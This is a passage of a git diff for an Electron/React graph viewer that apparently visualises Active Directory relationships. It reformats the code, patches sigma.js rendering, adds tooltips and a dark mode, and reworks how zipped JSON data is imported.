+    clearScale(){
+        let graph = this.state.sigmaInstance.graph;
+        graph.initScale = null;
+    }
+
+    //Function taken from the DragNodes code https://github.com/jacomyal/sigma.js/blob/master/plugins/sigma.plugins.dragNodes/sigma.plugins.dragNodes.js
+    calculateClickPos(clientX, clientY){
+        let _s = this.state.sigmaInstance;
+        let _camera = _s.camera;
+        let _prefix = _s.renderers[0].options.prefix;
+        var offset = this.calculateOffset(_s.renderers[0].container),
+            x = clientX - offset.left,
+            y = clientY - offset.top,
+            cos = Math.cos(_camera.angle),
+            sin = Math.sin(_camera.angle),
+            nodes = _s.graph.nodes(),
+            ref = [];
+
+        // Rotating the coordinates.
+        return {x:x * cos - y * sin, y:y * cos + x * sin}
+    }
+
+    initializeSigma() {
+        let sigmaInstance, design;
+
+        sigmaInstance = new sigma({
+            container: "graph"
+        });
+
+        sigmaInstance.settings({
+            edgeColor: "default",
+            edgeHoverColor: "default",
+            defaultEdgeHoverColor: "green",
+            enableEdgeHovering: true,
+            nodeColor: "default",
+            minEdgeSize: 1,
+            maxEdgeSize: 2.5,
+            iconThreshold: 4,
+            labelThreshold: 15,
+            labelAlignment: "bottom",
+            labelColor: "default",
+            font: "Roboto",
+            glyphFillColor: "black",
+            glyphTextColor: "white",
+            glyphTextThreshold: 1,
+            zoomingRatio: 1.4,
+            scalingMode: "inside",
+            autoRescale: true,
+            sideMargin: 20
+        });
+
+        //Monkeypatch the drawIcon function to add font-weight to the canvas drawing for drawIcon
+        //Kill me.
+        sigma.utils.canvas.drawIcon = function(node, x, y, size, context, threshold){
+            var font = node.icon.font || 'Arial',
+            fgColor = node.icon.color || '#F00',
+            text = node.icon.content || '?',
+            px = node.icon.x || 0.5,
+            py = node.icon.y || 0.5,
+            height = size,
+            width = size;
+            var fontSizeRatio = 0.70;
+            if (typeof node.icon.scale === "number") {
+            fontSizeRatio = Math.abs(Math.max(0.01, node.icon.scale));
             }
-        );
+
+            var fontSize = Math.round(fontSizeRatio * height);
+
+            context.save();
+            context.fillStyle = fgColor;
+            context.font = '900 ' + fontSize + 'px ' + font;
+            context.textAlign = 'center';
+            context.textBaseline = 'middle';
+            context.fillText(text, x, y);
+            context.restore();
+        }
+
+        //Monkeypatch the middleware with a customized patch from here: https://github.com/jacomyal/sigma.js/pull/302/files
+        sigma.middlewares.rescale = function(readPrefix, writePrefix, options) {
+            var _this = this,
+                i,
+                l,
+                a,
+                b,
+                c,
+                d,
+                scale,
+                margin,
+                n = this.graph.nodes(),
+                e = this.graph.edges(),
+                settings = this.settings.embedObjects(options || {}),
+                bounds = settings('bounds') || sigma.utils.getBoundaries(
+                  this.graph,
+                  readPrefix,
+                  true
+                ),
+                minX = bounds.minX,
+                minY = bounds.minY,
+                maxX = bounds.maxX,
+                maxY = bounds.maxY,
+                sizeMax = bounds.sizeMax,
+                weightMax = bounds.weightMax,
+                w = settings('width') || 1,
+                h = settings('height') || 1,
+                rescaleSettings = settings('autoRescale'),
+                validSettings = {
+                  nodePosition: 1,
+                  nodeSize: 1,
+                  edgeSize: 1
+                };
+            /**
+             * What elements should we rescale?
+             */
+            if (!(rescaleSettings instanceof Array))
+              rescaleSettings = ['nodePosition', 'nodeSize', 'edgeSize'];
+        
+            for (i = 0, l = rescaleSettings.length; i < l; i++)
+              if (!validSettings[rescaleSettings[i]])
+                throw new Error(
+                  'The rescale setting "' + rescaleSettings[i] + '" is not recognized.'
+                );
+        
+            var np = ~rescaleSettings.indexOf('nodePosition'),
+                ns = ~rescaleSettings.indexOf('nodeSize'),
+                es = ~rescaleSettings.indexOf('edgeSize');
+        
+            if (np) {
+              /**
+               * First, we compute the scaling ratio, without considering the sizes
+               * of the nodes : Each node will have its center in the canvas, but might
+               * be partially out of it.
+               */
+              scale = settings('scalingMode') === 'outside' ?
+                Math.max(
+                  w / Math.max(maxX - minX, 1),
+                  h / Math.max(maxY - minY, 1)
+                ) :
+                Math.min(
+                  w / Math.max(maxX - minX, 1),
+                  h / Math.max(maxY - minY, 1)
+                );
+
+                _this.graph.currentScale = scale;
+              /**
+               * Then, we correct that scaling ratio considering a margin, which is
+               * basically the size of the biggest node.
+               * This has to be done as a correction since to compare the size of the
+               * biggest node to the X and Y values, we have to first get an
+               * approximation of the scaling ratio.
+               **/
+              margin =
+                (
+                  settings('rescaleIgnoreSize') ?
+                    0 :
+                    (settings('maxNodeSize') || sizeMax) / scale
+                ) +
+                (settings('sideMargin') || 0);
+              maxX += margin;
+              minX -= margin;
+              maxY += margin;
+              minY -= margin;
+        
+              // Fix the scaling with the new extrema:
+              scale = settings('scalingMode') === 'outside' ?
+                Math.max(
+                  w / Math.max(maxX - minX, 1),
+                  h / Math.max(maxY - minY, 1)
+                ) :
+                Math.min(
+                  w / Math.max(maxX - minX, 1),
+                  h / Math.max(maxY - minY, 1)
+                );
+                _this.graph.currentScale = scale;
+            }
+        
+            // Size homothetic parameters:
+            if (!settings('maxNodeSize') && !settings('minNodeSize')) {
+              a = 1;
+              b = 0;
+            } else if (settings('maxNodeSize') === settings('minNodeSize')) {
+              a = 0;
+              b = +settings('maxNodeSize');
+            } else {
+              a = (settings('maxNodeSize') - settings('minNodeSize')) / sizeMax;
+              b = +settings('minNodeSize');
+            }
+        
+            if (!settings('maxEdgeSize') && !settings('minEdgeSize')) {
+              c = 1;
+              d = 0;
+            } else if (settings('maxEdgeSize') === settings('minEdgeSize')) {
+              c = 0;
+              d = +settings('minEdgeSize');
+            } else {
+              c = (settings('maxEdgeSize') - settings('minEdgeSize')) / weightMax;
+              d = +settings('minEdgeSize');
+            }
+        
+            // Rescale the nodes and edges:
+            for (i = 0, l = e.length; i < l; i++)
+              e[i][writePrefix + 'size'] =
+                e[i][readPrefix + 'size'] * (es ? c : 1) + (es ? d : 0);
+        
+            for (i = 0, l = n.length; i < l; i++) {
+              n[i][writePrefix + 'size'] =
+                n[i][readPrefix + 'size'] * (ns ? a : 1) + (ns ? b : 0);
+        
+              if (np) {
+                n[i][writePrefix + 'x'] =
+                  (n[i][readPrefix + 'x'] - (maxX + minX) / 2) * (this.graph.initScale || scale);
+                n[i][writePrefix + 'y'] =
+                  (n[i][readPrefix + 'y'] - (maxY + minY) / 2) * (this.graph.initScale || scale);
+              }
+              else {
+                n[i][writePrefix + 'x'] = n[i][readPrefix + 'x'];
+                n[i][writePrefix + 'y'] = n[i][readPrefix + 'y'];
+              }
+            }
+        };
 
         //Bind sigma events
-        sigmaInstance.renderers[0].bind('render', function(e) {
+        sigmaInstance.renderers[0].bind("render", function(e) {
             sigmaInstance.renderers[0].glyphs();
         });
 
-        sigmaInstance.camera.bind('coordinatesUpdated', function(e){
-            if (appStore.performance.edgeLabels === 0){
+        sigmaInstance.camera.bind("coordinatesUpdated", function(e) {
+            if (appStore.performance.edgeLabels === 0) {
                 if (e.target.ratio > 1.25) {
-                    sigmaInstance.settings('drawEdgeLabels', false);
+                    sigmaInstance.settings("drawEdgeLabels", false);
                 } else {
-                    sigmaInstance.settings('drawEdgeLabels', true);
+                    sigmaInstance.settings("drawEdgeLabels", true);
                 }
-            }else if (appStore.performance.edgeLabels === 1){
-                sigmaInstance.settings('drawEdgeLabels', true);
-            }else{
-                sigmaInstance.settings('drawEdgeLabels', false);
+            } else if (appStore.performance.edgeLabels === 1) {
+                sigmaInstance.settings("drawEdgeLabels", true);
+            } else {
+                sigmaInstance.settings("drawEdgeLabels", false);
             }
         });
 
-        sigmaInstance.bind('clickNode', this._nodeClicked.bind(this));
+        sigmaInstance.bind("clickNode", this._nodeClicked.bind(this));
 
-        sigmaInstance.bind('hovers', function(e){
-            if (e.data.enter.nodes.length > 0) {
-                if (appStore.endNode !== null) {
-                    findGraphPath(this.state.sigmaInstance, false, e.data.enter.nodes[0].id, []);
+        sigmaInstance.bind(
+            "hovers",
+            function(e) {
+                if (e.data.enter.nodes.length > 0) {
+                    if (appStore.endNode !== null) {
+                        findGraphPath(
+                            this.state.sigmaInstance,
+                            false,
+                            e.data.enter.nodes[0].id,
+                            []
+                        );
+                    }
+
+                    if (appStore.startNode !== null) {
+                        findGraphPath(
+                            this.state.sigmaInstance,
+                            true,
+                            e.data.enter.nodes[0].id,
+                            []
+                        );
+                    }
+
+                    sigmaInstance.refresh({ skipIndexation: true });
                 }
 
-                if (appStore.startNode !== null) {
-                    findGraphPath(this.state.sigmaInstance, true, e.data.enter.nodes[0].id, []);
+                if (e.data.leave.nodes.length > 0) {
+                    if (appStore.highlightedEdges.length > 0) {
+                        $.each(appStore.highlightedEdges, function(
+                            index,
+                            edge
+                        ) {
+                            edge.color =
+                                sigmaInstance.settings.defaultEdgeColor;
+                        });
+                        appStore.highlightedEdges = [];
+                        sigmaInstance.refresh({ skipIndexation: true });
+                    }
                 }
+            }.bind(this)
+        );
 
-                sigmaInstance.refresh({'skipIndexation': true});
+        sigmaInstance.bind("rightClickStage", event => {
+            let x = event.data.captor.clientX;
+            let y = event.data.captor.clientY;
+
+            let newPos = this.calculateClickPos(x,y)
+
+            this.setState({tooltipPos: {x: newPos.x, y: newPos.y}})
+        })
+
+        sigmaInstance.bind("clickStage", event => {
+            if (appStore.currentTooltip !== null){
+                appStore.currentTooltip.close()
             }
-
-            if (e.data.leave.nodes.length > 0) {
-                if (appStore.highlightedEdges.length > 0) {
-                    $.each(appStore.highlightedEdges, function(index, edge) {
-                        edge.color = sigmaInstance.settings.defaultEdgeColor;
-                    });
-                    appStore.highlightedEdges = [];
-                    sigmaInstance.refresh({ 'skipIndexation': true });
-                }
-            }
-        }.bind(this));
+        })
 
         //Some key binds
-        $(window).on('keyup', function(e){
-            var key = e.keyCode ? e.keyCode : e.which;
-            var mode = appStore.performance.nodeLabels;
-            var sigmaInstance = this.state.sigmaInstance;
+        $(window).on(
+            "keyup",
+            function(e) {
+                let key = e.keyCode ? e.keyCode : e.which;
+                let mode = appStore.performance.nodeLabels;
+                let sigmaInstance = this.state.sigmaInstance;
 
-            if (document.activeElement === document.body && key === 17){
-                mode = mode + 1;
-                if (mode > 2){
-                    mode = 0;
+                if (document.activeElement === document.body && key === 17) {
+                    mode = mode + 1;
+                    if (mode > 2) {
+                        mode = 0;
+                    }
+                    appStore.performance.nodeLabels = mode;
+                    conf.set("performance", appStore.performance);
+
+                    if (mode === 2) {
+                        sigmaInstance.settings("labelThreshold", 500);
+                        emitter.emit("showAlert", "Hiding Node Labels");
+                    } else if (mode === 0) {
+                        sigmaInstance.settings("labelThreshold", 15);
+                        emitter.emit(
+                            "showAlert",
+                            "Default Node Label Threshold"
+                        );
+                    } else {
+                        sigmaInstance.settings("labelThreshold", 1);
+                        emitter.emit("showAlert", "Always Showing Node Labels");
+                    }
+
+                    sigmaInstance.refresh({ skipIndexation: true });
                 }
-                appStore.performance.nodeLabels = mode;
-                conf.set('performance', appStore.performance);
-
-                if (mode === 2){
-                    sigmaInstance.settings('labelThreshold', 500);
-                    emitter.emit('showAlert', 'Hiding Node Labels');
-                }else if (mode === 0){
-                    sigmaInstance.settings('labelThreshold', 15);
-                    emitter.emit('showAlert', 'Default Node Label Threshold');
-                }else{
-                    sigmaInstance.settings('labelThreshold', 1);
-                    emitter.emit('showAlert', 'Always Showing Node Labels');
-                }
-
-                sigmaInstance.refresh({'skipIndexation' : true});
-            }
-        }.bind(this));
+            }.bind(this)
+        );
 
         //Plugin Configuration
-        var dragListener = sigma.plugins.dragNodes(sigmaInstance,
-                                sigmaInstance.renderers[0]);
+        var dragListener = sigma.plugins.dragNodes(
+            sigmaInstance,
+            sigmaInstance.renderers[0]
+        );
 
-        dragListener.bind('drag', this._nodeDragged.bind(this));
+        dragListener.bind("drag", this._nodeDragged.bind(this));
 
         var tooltips = sigma.plugins.tooltips(
-        sigmaInstance,
-        sigmaInstance.renderers[0], 
+            sigmaInstance,
+            sigmaInstance.renderers[0],
             {
-                node: [{
-                    show: 'rightClickNode',
-                    cssClass: 'new-tooltip',
-                    autoadjust: true,
-                    renderer: function(node) {
-                        var template = this.state.template;
-                        node.expand = false;
-                        node.collapse = false;
-                        if (node.folded.nodes.length > 0 && !node.groupedNode) {
-                            if (typeof this.state.sigmaInstance.graph.nodes(node.folded.nodes[0].id) === 'undefined') {
-                                node.expand = true;
-                            } else {
-                                node.collapse = true;
+                node: [
+                    {
+                        show: "rightClickNode",
+                        cssClass: "new-tooltip",
+                        autoadjust: true,
+                        renderer: function(node) {
+                            var template = this.state.nodeTemplate;
+                            node.expand = false;
+                            node.collapse = false;
+                            if (
+                                node.folded.nodes.length > 0 &&
+                                !node.groupedNode
+                            ) {
+                                if (
+                                    typeof this.state.sigmaInstance.graph.nodes(
+                                        node.folded.nodes[0].id
+                                    ) === "undefined"
+                                ) {
+                                    node.expand = true;
+                                } else {
+                                    node.collapse = true;
+                                }
                             }
-                        }
-                        return Mustache.render(template, node);
-                    }.bind(this)
-                }]
+                            return Mustache.render(template, node);
+                        }.bind(this)
+                    }
+                ],
+                edge: [
+                    {
+                        show: "rightClickEdge",
+                        cssClass: "new-tooltip",
+                        autoadjust: true,
+                        renderer: function(edge){
+                            var template = this.state.edgeTemplate;
+                            return Mustache.render(template, edge);
+                        }.bind(this)
+                    }
+                ],
+                stage: [
+                    {
+                        show: "rightClickStage",
+                        cssClass: "new-tooltip",
+                        autoadjust: true,
+                        renderer: function(){
+                            var template = this.state.stageTemplate;
+                            return Mustache.render(template);
+                        }.bind(this)
+                    }
+                ]
             }
         );
 
-        tooltips.bind('shown', function(event) {
+        tooltips.bind("shown", function(event) {
             appStore.currentTooltip = event.target;
         });
 
-        tooltips.bind('hidden', function(event) {
+        tooltips.bind("hidden", function(event) {
             appStore.currentTooltip = null;
         });
-        
 
         //Layout Plugins
         var forcelinkListener = sigma.layouts.configForceLink(sigmaInstance, {
             worker: true,
             background: true,
-            easing: 'cubicInOut',
+            easing: "cubicInOut",
             autoStop: true,
             alignNodeSiblings: true,
             barnesHutOptimize: true,
-            randomize: 'globally'
+            randomize: "globally"
         });
 
-        forcelinkListener.bind('stop', function(event) {
-            emitter.emit('updateLoadingText', "Fixing Overlap");
+        forcelinkListener.bind("stop", function(event) {
+            emitter.emit("updateLoadingText", "Fixing Overlap");
             sigmaInstance.startNoverlap();
         });
 
-        forcelinkListener.bind('start', function(event){
-            emitter.emit('updateLoadingText', 'Initial Layout');
-            emitter.emit('showLoadingIndicator', true);
+        forcelinkListener.bind("start", function(event) {
+            emitter.emit("updateLoadingText", "Initial Layout");
+            emitter.emit("showLoadingIndicator", true);
         });
 
         var dagreListener = sigma.layouts.dagre.configure(sigmaInstance, {
-            easing: 'cubicInOut',
-            boundingBox: {minX: 0, minY: 0, maxX:$('#graph').outerWidth(), maxY:$('#graph').outerHeight() },
+            easing: "cubicInOut",
+            boundingBox: {
+                minX: 0,
+                minY: 0,
+                maxX: $("#graph").outerWidth(),
+                maxY: $("#graph").outerHeight()
+            },
             background: true,
-            rankDir: 'LR'
+            rankDir: "LR"
         });
 
-        dagreListener.bind('stop', function(event){
+        dagreListener.bind("stop", event => {
             var needsfix = false;
             sigmaInstance.graph.nodes().forEach(function(node) {
-                if (isNaN(node.x) || isNaN(node.y)){
-                    emitter.emit('updateLoadingText', "Fixing Overlap");
+                if (isNaN(node.x) || isNaN(node.y)) {
+                    emitter.emit("updateLoadingText", "Fixing Overlap");
                     sigmaInstance.startNoverlap();
                     needsfix = true;
                     return;
                 }
             }, this);
-            if (!needsfix){
-                emitter.emit('updateLoadingText', 'Done!');
+            if (!needsfix) {
+                emitter.emit("updateLoadingText", "Done!");
+                this.lockScale();
                 sigma.canvas.edges.autoCurve(sigmaInstance);
-                setTimeout(function(){
-                    emitter.emit('showLoadingIndicator', false);    
+                setTimeout(function() {
+                    emitter.emit("showLoadingIndicator", false);
                 }, 1500);
             }
         });
 
-        dagreListener.bind('start', function(event){
-            emitter.emit('updateLoadingText', 'Initial Layout');
-            emitter.emit('showLoadingIndicator', true);
+        dagreListener.bind("start", function(event) {
+            emitter.emit("updateLoadingText", "Initial Layout");
+            emitter.emit("showLoadingIndicator", true);
         });
 
         // var noverlapListener = sigmaInstance.configNoverlap({
         //     nodeMargin: 5.0,
         //     easing: 'cubicInOut',
         //     gridSize: 20,
-        //     permittedExpansion: 1.3 
+        //     permittedExpansion: 1.3
         // });
-        // 
-        
+        //
+
         var noverlapListener = sigmaInstance.configNoverlap({});
 
-        noverlapListener.bind('stop', function(event) {
-            emitter.emit('updateLoadingText', 'Done!');
+        noverlapListener.bind("stop", event => {
+            emitter.emit("updateLoadingText", "Done!");
+            this.lockScale();
             sigma.canvas.edges.autoCurve(sigmaInstance);
-            setTimeout(function(){
-                emitter.emit('showLoadingIndicator', false);
+            setTimeout(function() {
+                emitter.emit("showLoadingIndicator", false);
             }, 1500);
-            
         });
 
-        
         var lowgfx = appStore.performance.lowGraphics;
 
         design = sigma.plugins.design(sigmaInstance);
-        if (lowgfx){
-            sigmaInstance.settings('defaultEdgeType', 'line');
-            sigmaInstance.settings('defaultEdgeColor', 'black');
+        if (lowgfx) {
+            sigmaInstance.settings("defaultEdgeType", "line");
+            sigmaInstance.settings("defaultEdgeColor", "black");
             design.setPalette(appStore.lowResPalette);
             design.setStyles(appStore.lowResStyle);
-        }else{
-            sigmaInstance.settings('defaultEdgeType', 'tapered');
-            sigmaInstance.settings('defaultEdgeColor', '#356');
+        } else {
+            sigmaInstance.settings("defaultEdgeType", "tapered");
+            sigmaInstance.settings("defaultEdgeColor", "#356");
             design.setPalette(appStore.highResPalette);
             design.setStyles(appStore.highResStyle);
         }
 
         var mode = appStore.performance.nodeLabels;
 
-        if (mode === 2){
-            sigmaInstance.settings('labelThreshold', 500);
-        }else if (mode === 0){
-            sigmaInstance.settings('labelThreshold', 15);
-        }else{
-            sigmaInstance.settings('labelThreshold', 1);
+        if (mode === 2) {
+            sigmaInstance.settings("labelThreshold", 500);
+        } else if (mode === 0) {
+            sigmaInstance.settings("labelThreshold", 15);
+        } else {
+            sigmaInstance.settings("labelThreshold", 1);
         }
 
         this.setState({
diff --git a/src/components/Icon.jsx b/src/components/Icon.jsx
index 519f6de..b4c8588 100644
--- a/src/components/Icon.jsx
+++ b/src/components/Icon.jsx
@@ -1,19 +1,26 @@
-import React, { Component } from 'react';
-import PropTypes from 'prop-types'
+import React, { Component } from "react";
+import PropTypes from "prop-types";
 
 export default class Icon extends Component {
-	constructor(props){
-		super(props);
-	}
+    constructor(props) {
+        super(props);
+    }
 
-	render() {
-		return (
-			<i className={"glyphicon glyphicon-" + this.props.glyph + " " + this.props.extraClass}></i>
-		);
-	}
+    render() {
+        return (
+            <i
+                className={
+                    "glyphicon glyphicon-" +
+                    this.props.glyph +
+                    " " +
+                    this.props.extraClass
+                }
+            />
+        );
+    }
 }
 
-Icon.propTypes =  {
-	glyph : PropTypes.string.isRequired,
-	extraClass : PropTypes.string
-}
\ No newline at end of file
+Icon.propTypes = {
+    glyph: PropTypes.string.isRequired,
+    extraClass: PropTypes.string
+};
diff --git a/src/components/Menu/MenuButton.jsx b/src/components/Menu/MenuButton.jsx
index 697e4f0..30851d8 100644
--- a/src/components/Menu/MenuButton.jsx
+++ b/src/components/Menu/MenuButton.jsx
@@ -1,47 +1,81 @@
-import React, { Component } from 'react';
-import PropTypes from 'prop-types'
+import React, { Component } from "react";
+import PropTypes from "prop-types";
 
 export default class MenuButton extends Component {
-	_leave(e){
-		var target = $(e.target)
-		target.css('width', 'auto')
-		var oldWidth = target.width();
-		target.html('<span class="{}"></span>'.format(this.props.glyphicon))
-		var newWidth = target.outerWidth();
-		target.width(oldWidth);
-		target.animate({
-			width: newWidth + 'px'
-		}, 100)
-	}
+    constructor(){
+        super()
 
-	_enter(e){
-		var target = $(e.target)
-		target.css('width', 'auto')
-		var oldWidth = target.width();
-		target.html('{} <span class="{}"> </span>'.format(this.props.hoverVal, this.props.glyphicon))
-		var newWidth = target.outerWidth();
-		target.width(oldWidth);
-		target.animate({
-			width: newWidth + 'px'
-		}, 100)
-	}
+        this.state = {
+            darkMode: false
+        }
+    }
 
-	componentDidMount(){
-		$(this.refs.btn).html('<span class="{}"></span>'.format(this.props.glyphicon))
-	}
+    componentDidMount() {
+        $(this.refs.btn).html(
+            '<span class="{}"></span>'.format(this.props.glyphicon)
+        );
 
-	render() {
-		var c = "glyphicon glyphicon-" + this.props.glyphicon
-		return (
-			<button ref="btn" onClick={this.props.click} onMouseLeave={this._leave.bind(this)} onMouseEnter={this._enter.bind(this)} className="btn">
-				<span className={c} />
-			</button>
-		);
-	}
+        emitter.on("toggleDarkMode", this.toggleDarkMode.bind(this))
+        this.toggleDarkMode(appStore.performance.darkMode);
+    }
+
+    toggleDarkMode(enabled){
+        this.setState({darkMode: enabled});
+    }
+    
+    _leave(e) {
+        var target = $(e.target);
+        target.css("width", "auto");
+        var oldWidth = target.width();
+        target.html('<span class="{}"></span>'.format(this.props.glyphicon));
+        var newWidth = target.outerWidth();
+        target.width(oldWidth);
+        target.animate(
+            {
+                width: newWidth + "px"
+            },
+            100
+        );
+    }
+
+    _enter(e) {
+        var target = $(e.target);
+        target.css("width", "auto");
+        var oldWidth = target.width();
+        target.html(
+            '{} <span class="{}"> </span>'.format(
+                this.props.hoverVal,
+                this.props.glyphicon
+            )
+        );
+        var newWidth = target.outerWidth();
+        target.width(oldWidth);
+        target.animate(
+            {
+                width: newWidth + "px"
+            },
+            100
+        );
+    }
+
+    render() {
+        var c = "glyphicon glyphicon-" + this.props.glyphicon;
+        return (
+            <button
+                ref="btn"
+                onClick={this.props.click}
+                onMouseLeave={this._leave.bind(this)}
+                onMouseEnter={this._enter.bind(this)}
+                className={this.state.darkMode ? "btn menu-button-dark" : "btn menu-button-light"}
+            >
+                <span className={c} />
+            </button>
+        );
+    }
 }
 
-MenuButton.propTypes =  {
-	hoverVal : PropTypes.string.isRequired,
-	glyphicon : PropTypes.string.isRequired,
-	click : PropTypes.func.isRequired
-}
\ No newline at end of file
+MenuButton.propTypes = {
+    hoverVal: PropTypes.string.isRequired,
+    glyphicon: PropTypes.string.isRequired,
+    click: PropTypes.func.isRequired
+};
diff --git a/src/components/Menu/MenuContainer.jsx b/src/components/Menu/MenuContainer.jsx
index 96435de..89067c0 100644
--- a/src/components/Menu/MenuContainer.jsx
+++ b/src/components/Menu/MenuContainer.jsx
@@ -1,17 +1,32 @@
-import React, { Component } from 'react';
-import MenuButton from './MenuButton';
-import ProgressBarMenuButton from './ProgressBarMenuButton';
-import { buildDomainProps, buildSessionProps, buildLocalAdminProps, buildGroupMembershipProps, buildACLProps, findObjectType, buildStructureProps, buildGplinkProps} from 'utils';
-import { If, Then, Else } from 'react-if';
-const { dialog, clipboard, app } = require('electron').remote;
-var fs = require('fs');
-var async = require('async');
-var unzip = require('unzipper');
-var fpath = require('path');
-var csv = require('fast-csv');
+import React, { Component } from "react";
+import MenuButton from "./MenuButton";
+import ProgressBarMenuButton from "./ProgressBarMenuButton";
+import {
+    buildGpoAdminJson,
+    buildSessionJson,
+    buildUserJson,
+    buildComputerJson,
+    buildDomainJson,
+    buildGpoJson,
+    buildGroupJson,
+    buildOuJson
+} from "utils";
+import { If, Then, Else } from "react-if";
+import { remote } from "electron";
+const { dialog, app } = remote;
+import { unlinkSync, createReadStream, createWriteStream, statSync } from "fs";
+import { eachSeries } from "async";
+import { Parse } from "unzipper";
+import { join } from "path";
+
+import { withParser } from "stream-json/filters/Pick";
+import { streamArray } from "stream-json/streamers/StreamArray";
+import { chain } from "stream-chain";
+import { connectTo } from "stream-json/Assembler";
+import { isZipSync } from 'is-zip-file';
 
 export default class MenuContainer extends Component {
-    constructor(){
+    constructor() {
         super();
 
         this.state = {
@@ -21,95 +36,166 @@ export default class MenuContainer extends Component {
             cancelled: false
         };
 
-        emitter.on('cancelUpload', this.cancelUpload.bind(this))
+        emitter.on("cancelUpload", this.cancelUpload.bind(this));
+        emitter.on("filedrop", this.fileDrop.bind(this))
+        emitter.on("importShim", this._importClick.bind(this))
     }
 
-    cancelUpload(){
-        this.setState({cancelled: true});
-        setTimeout(function(){
-            this.setState({uploading: false})
-        }.bind(this), 1000);
-    }
-
-    _refreshClick(){
-        emitter.emit('graphRefresh')
-    }
-
-    _changeLayoutClick(){
-        appStore.dagre = !appStore.dagre
-        emitter.emit('graphRefresh')
-        var type = appStore.dagre ? 'Hierarchical' : 'Directed'
-        emitter.emit('showAlert', 'Changed Layout to ' + type)
-    }
-
-    _exportClick(){
-        emitter.emit('showExport');
-    }
-
-    _importClick(){
-        var fname = dialog.showOpenDialog({
-            properties: ['openFile']
-        });
-        if (typeof fname !== 'undefined'){
-            emitter.emit('import',fname[0]);
-        }
-    }
-
-    _settingsClick(){
-        emitter.emit('openSettings')
-    }
-
-    _cancelUploadClick(){
-        emitter.emit('showCancelUpload')
-    }
-
-    _uploadClick(){
-        var input = jQuery(this.refs.fileInput);
-        var fileNames = [];
-
-        $.each(input[0].files, function(index, file){
-            fileNames.push({path:file.path, name:file.name});
+    fileDrop(e){
+        let fileNames = []
+        $.each(e.dataTransfer.files, function(_, file){
+            fileNames.push({ path: file.path, name: file.name });
         });
 
-        this.unzipNecessary(fileNames).then(function(results){
-            async.eachSeries(results, function(file, callback){
-                emitter.emit('showAlert', 'Processing file {}'.format(file.name));
-                this.processFile(file.path, callback);
-            }.bind(this),
-            function done(){
-                setTimeout(function(){
-                    this.setState({uploading: false});
-                }.bind(this), 3000);
-                $.each(results, function(index, file){
-                    if (file.delete){
-                        fs.unlinkSync(file.path);
+        this.unzipNecessary(fileNames).then(
+            results => {
+                eachSeries(
+                    results,
+                    (file, callback) => {
+                        emitter.emit(
+                            "showAlert",
+                            "Processing file {}".format(file.name)
+                        );
+                        this.getFileMeta(file.path, callback);
+                    },
+                    () => {
+                        setTimeout(
+                            () => {
+                                this.setState({ uploading: false });
+                            },
+                            3000
+                        );
+                        this.addBaseProps();
+                        $.each(results, function(_, file) {
+                            if (file.delete) {
+                                unlinkSync(file.path);
+                            }
+                        });
                     }
-                });
-            }.bind(this));
-    
-            input.val('');
-        }.bind(this));
+                );
+            }
+        );
+    }
+
+    cancelUpload() {
+        this.setState({ cancelled: true });
+        setTimeout(
+            _ => {
+                this.setState({ uploading: false });
+            },
+            1000
+        );
+    }
+
+    _refreshClick(event) {
+        if (event.ctrlKey){
+            emitter.emit("graphReload");
+        }else{
+            emitter.emit("graphRefresh");
+        }
         
     }
 
-    async unzipNecessary(files){
+    _changeLayoutClick() {
+        emitter.emit("changeLayout");
+    }
+
+    _exportClick() {
+        emitter.emit("showExport");
+    }
+
+    _importClick() {
+        if (appStore.currentTooltip !== null){
+            appStore.currentTooltip.close();
+        }
+        var fname = dialog.showOpenDialog({
+            properties: ["openFile"]
+        });
+        if (typeof fname !== "undefined") {
+            emitter.emit("import", fname[0]);
+        }
+    }
+
+    _settingsClick() {
+        emitter.emit("openSettings");
+    }
+
+    _cancelUploadClick() {
+        emitter.emit("showCancelUpload");
+    }
+
+    _uploadClick() {
+        var input = jQuery(this.refs.fileInput);
+        var fileNames = [];
+
+        $.each(input[0].files, function(_, file) {
+            fileNames.push({ path: file.path, name: file.name });
+        });
+
+        this.unzipNecessary(fileNames).then(
+            results => {
+                eachSeries(
+                    results,
+                    (file, callback) => {
+                        emitter.emit(
+                            "showAlert",
+                            "Processing file {}".format(file.name)
+                        );
+                        this.getFileMeta(file.path, callback);
+                    },
+                    function done() {
+                        setTimeout(
+                            _ => {
+                                this.setState({ uploading: false });
+                            },
+                            3000
+                        );
+                        this.addBaseProps();
+                        $.each(results, (_, file) => {
+                            if (file.delete) {
+                                unlinkSync(file.path);
+                            }
+                        });
+                    }
+                );
+
+                input.val("");
+            }
+        );
+    }
+
+    async addBaseProps(){
+        let s = driver.session();
+        await s.run("MATCH (n:User) WHERE NOT EXISTS(n.owned) SET n.owned=false");
+        await s.run("MATCH (n:Computer) WHERE NOT EXISTS(n.owned) SET n.owned=false");
+        s.close();
+    }
+
+    async unzipNecessary(files) {
         var index = 0;
         var processed = [];
-        var tempPath = app.getPath('temp');
-        while (index < files.length){
+        var tempPath = app.getPath("temp");
+        while (index < files.length) {
             var path = files[index].path;
             var name = files[index].name;
 
-            if (path.endsWith(".zip")){
-                await fs.createReadStream(path)
-                    .pipe(unzip.Parse())
-                    .on('entry', function(entry){
-                        var output = fpath.join(tempPath, entry.path);
-                        entry.pipe(fs.createWriteStream(output));
-                        processed.push({path:output, name:entry.path, delete: true});
-                    }).promise();
-            }else{
-                processed.push({path:path,name:name, delete: false});
+            if (isZipSync(path)) {
+                await createReadStream(path)
+                    .pipe(Parse())
+                    .on("entry", function (entry) {
+                        var output = join(tempPath, entry.path);
+                        entry.pipe(createWriteStream(output));
+                        processed.push({
+                            path: output,
+                            name: entry.path,
+                            delete: true
+                        });
+                    }).on("error", function(error){
+                        emitter.emit('showAlert', `${name} is corrupted or password protected`);
+                    })
+                    .promise();
+            } else {
+                processed.push({ path: path, name: name, delete: false });
             }
             index++;
         }
@@ -117,192 +203,258 @@ export default class MenuContainer extends Component {
         return processed;
     }
 
-    _aboutClick(){
-        emitter.emit('showAbout');
+    _aboutClick() {
+        emitter.emit("showAbout");
     }
-    
-    processFile(file, callback){
-        console.log(file);
-        var count = 0;
-        var header = "";
-        var processHeader = true;
-        var fileType;
+
+    getFileMeta(file, callback){
+        let acceptableTypes = [
+            "sessions",
+            "ous",
+            "groups",
+            "gpoadmins",
+            "gpos",
+            "computers",
+            "users",
+            "domains"
+        ];
+        let count;
+        let type;
         
-        //Lets calculate the number of lines in the file and get the header
-        var input = fs.createReadStream(file);
-        input.on('data', function (chunk){
-            for (var i=0; i < chunk.length; ++i){
-                    if (processHeader){
-                        header = header + String.fromCharCode(chunk[i]);
-                    }
-                    if (chunk[i] === 10){
-                        //At the first newline, we look at the header to figure out 
